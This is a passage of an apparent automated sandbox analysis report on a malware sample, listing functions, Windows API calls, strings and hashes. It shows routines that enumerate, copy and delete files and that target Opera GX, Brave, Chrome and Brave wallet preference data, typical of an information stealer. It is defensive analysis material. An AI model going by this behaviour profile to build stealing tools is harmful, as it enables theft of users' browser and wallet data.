Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 89d838119ec0f05c8d6a381d486c9670557fc990870872295c4a7ba45ce503a4
Instruction ID: 8d2a49b417d01331bd7ff0a647eaf628c46c60e746d95a56850cc756241835f4
Opcode Fuzzy Hash: 89d838119ec0f05c8d6a381d486c9670557fc990870872295c4a7ba45ce503a4
Instruction Fuzzy Hash: 72F0B4726092265BDF246F69ED8195BBFA8EB487A0F064121FE4D9B241DB30EC0087F0

Function 001984F0 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d47c77b1794f1193cc8c4bc079dc0fb71e1deeb1ad4289a205c06f0802c0949e
Instruction ID: d9f8ac4e723aedc6912faf6ccd02ac29ee3e05dcba009e20925ae8047e6c9455
Opcode Fuzzy Hash: d47c77b1794f1193cc8c4bc079dc0fb71e1deeb1ad4289a205c06f0802c0949e
Instruction Fuzzy Hash: B3516272D10200BFDF717BBD8549AB8B2D9AFB2314F160446F4148A136DF658E894E61

Function 00191D91 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00191DD2

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: aaa370a847d3d055293ac01beeb211b4c362f460d1e8be7856986a77934a70d4
Instruction ID: 90385fb2f9cc9c2d8e6095943f3f983c0ef0ccc80080620c62b59b42f7c252b8
Opcode Fuzzy Hash: aaa370a847d3d055293ac01beeb211b4c362f460d1e8be7856986a77934a70d4
Instruction Fuzzy Hash: F6F0BD71A10159ABDB16EF68EC519AEB7FCEB48300F0045AAB905D7251DA34AF458B90

Function 00192516 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 0019254C

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: ab47765b27987e0569c70115b4a0ca648844c3f45a1fc092e764b8cc60b4a1da
Instruction ID: 0c301cd70915aaa36bc3da8e5640e281ef6b934160a4b14bf600c173c7dfb55e
Opcode Fuzzy Hash: ab47765b27987e0569c70115b4a0ca648844c3f45a1fc092e764b8cc60b4a1da
Instruction Fuzzy Hash: 9AE075B0D0420D9FCB44EFA9DA452DEBBF4AB18308F004169C115F2240E3B482458BA5

Function 0019C372 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0019C383

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 802f3fefc47a25a5f42da4a5c7361ad6c6daf9ad106be494594426d9b3157711
Instruction ID: a8508a59ff43476860c844ac7c5ec8de1f9a66a45ca537056336b7782a064cad
Opcode Fuzzy Hash: 802f3fefc47a25a5f42da4a5c7361ad6c6daf9ad106be494594426d9b3157711
Instruction Fuzzy Hash: FB214870200710CFC720DF6ED084956B7F4FF58324B55486DE68A8B722C772E880CB42

Non-executed Functions

Function 00194D08 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00194D5C
FindFirstFileA.KERNEL32(?,?), ref: 00194D73
_memset.LIBCMT ref: 00194D8F
_memset.LIBCMT ref: 00194DA0
StrCmpCA.SHLWAPI(?,001B6A00), ref: 00194DC1
StrCmpCA.SHLWAPI(?,001B6A04), ref: 00194DDB
wsprintfA.USER32 ref: 00194E02
StrCmpCA.SHLWAPI(?,001B660F), ref: 00194E16
wsprintfA.USER32 ref: 00194E3F
wsprintfA.USER32 ref: 00194E56

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

_memset.LIBCMT ref: 00194E68
lstrcatA.KERNEL32(?,?), ref: 00194E7D
strtok_s.MSVCRT ref: 00194EC2
_memset.LIBCMT ref: 00194ED4
lstrcatA.KERNEL32(?,?), ref: 00194EE9
strtok_s.MSVCRT ref: 00194F02
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00194F17
DeleteFileA.KERNEL32(?,001B6A30,001B661D), ref: 00194FD0
CopyFileA.KERNEL32(?,?,00000001), ref: 00194FE0

Part of subcall function 0019213B: CreateFileA.KERNEL32(00194FEC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00194FEC,?), ref: 00192156

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00194FF6
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00195001
strtok_s.MSVCRT ref: 00195027
FindNextFileA.KERNEL32(?,?), ref: 00195145
FindClose.KERNEL32(?), ref: 00195165

Strings

%s\*.*, xrefs: 00194D50
%s\%s, xrefs: 00194DFC
%s\%s\%s, xrefs: 00194E39
%s\%s, xrefs: 00194E50

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: 5b465b6ecbbaef82e6b6ce0d9d2f77677227d8efbca7cb22584214c157db25a1
Instruction ID: b1fda84b196762db4b5f906c448288c69ba3195abc43cd2c2c47e466a0c9f56a
Opcode Fuzzy Hash: 5b465b6ecbbaef82e6b6ce0d9d2f77677227d8efbca7cb22584214c157db25a1
Instruction Fuzzy Hash: 0EC11C72D0022AAFDF22AB64EC459EE777DAF18304F0544A6FA09B3151DB359F858F50

Function 00189CF1 Relevance: 44.4, APIs: 20, Strings: 5, Instructions: 610fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

FindFirstFileA.KERNEL32(?,?,001B67F2,001B67EF,001B731C,001B67EE,?,?,?), ref: 00189D9B
StrCmpCA.SHLWAPI(?,001B7320), ref: 00189DBC
StrCmpCA.SHLWAPI(?,001B7324), ref: 00189DD6

Part of subcall function 0019051E: lstrlenA.KERNEL32(?,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190524
Part of subcall function 0019051E: lstrcpyA.KERNEL32(00000000,00000000,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190556

StrCmpCA.SHLWAPI(?,Opera GX,001B7328,?,001B67F3), ref: 00189E68
StrCmpCA.SHLWAPI(?,Brave,001B7348,001B734C,001B7328,?,001B67F3), ref: 00189FEA
StrCmpCA.SHLWAPI(?,Preferences), ref: 0018A004
CopyFileA.KERNEL32(?,?,00000001), ref: 0018A0C4
DeleteFileA.KERNEL32(?), ref: 0018A193
StrCmpCA.SHLWAPI(?), ref: 0018A1D1
StrCmpCA.SHLWAPI(?), ref: 0018A23B
StrCmpCA.SHLWAPI(0018CCBE), ref: 0018A24E

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

StrCmpCA.SHLWAPI(?), ref: 0018A331
CopyFileA.KERNEL32(?,?,00000001), ref: 0018A3F1
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0018A496
DeleteFileA.KERNEL32(?), ref: 0018A4F7

Part of subcall function 00188DAC: lstrlenA.KERNEL32(?), ref: 00188FA5
Part of subcall function 00188DAC: lstrlenA.KERNEL32(?), ref: 00188FC0

Part of subcall function 0018951A: lstrlenA.KERNEL32(?), ref: 00189943
Part of subcall function 0018951A: lstrlenA.KERNEL32(?), ref: 0018995E

StrCmpCA.SHLWAPI(?), ref: 0018A528
CopyFileA.KERNEL32(?,?,00000001), ref: 0018A5E8
DeleteFileA.KERNEL32(?), ref: 0018A67F

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

FindNextFileA.KERNEL32(?,?), ref: 0018A743
FindClose.KERNEL32(?), ref: 0018A757

Strings

Opera GX, xrefs: 00189E60
Google Chrome, xrefs: 0018A48E
Brave, xrefs: 00189FE2
Preferences, xrefs: 00189FF8
\BraveWallet\Preferences, xrefs: 0018A0DA

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: File$lstrcpylstrlen$CopyDeleteFind$lstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 4173076446-1189830961
Opcode ID: a5c6708c594dd2f02ade6c93e1a85515e160d329bee6b0a36ac9e4f603b787d9
Instruction ID: 07dfa4fc35340fda2b81b7fa8eb573c97cc285582cfa5bc99df27967ded48e7c
Opcode Fuzzy Hash: a5c6708c594dd2f02ade6c93e1a85515e160d329bee6b0a36ac9e4f603b787d9
Instruction Fuzzy Hash: 2B42D4329001299FDF62BB24ED46ADD77B4AF28304F4541E1F908B7162DB74AF998F81

Function 00196013 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0019605A
FindFirstFileA.KERNEL32(?,?), ref: 00196071
StrCmpCA.SHLWAPI(?,001B6ABC), ref: 00196092
StrCmpCA.SHLWAPI(?,001B6AC0), ref: 001960AC
wsprintfA.USER32 ref: 001960D3
StrCmpCA.SHLWAPI(?,001B6647), ref: 001960E7
wsprintfA.USER32 ref: 00196104
wsprintfA.USER32 ref: 0019611B
PathMatchSpecA.SHLWAPI(?,?), ref: 00196131
lstrcatA.KERNEL32(?), ref: 00196167
lstrcatA.KERNEL32(?,001B6AD8), ref: 00196179
lstrcatA.KERNEL32(?,?), ref: 0019618C
lstrcatA.KERNEL32(?,001B6ADC), ref: 0019619E
lstrcatA.KERNEL32(?,?), ref: 001961B2
CopyFileA.KERNEL32(?,?,00000001), ref: 0019626B
DeleteFileA.KERNEL32(?), ref: 001962DF
FindNextFileA.KERNEL32(?,?), ref: 00196341
FindClose.KERNEL32(?), ref: 00196355

Strings

%s\%s, xrefs: 001960CD
%s\%s, xrefs: 00196115
%s\*, xrefs: 0019604E

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
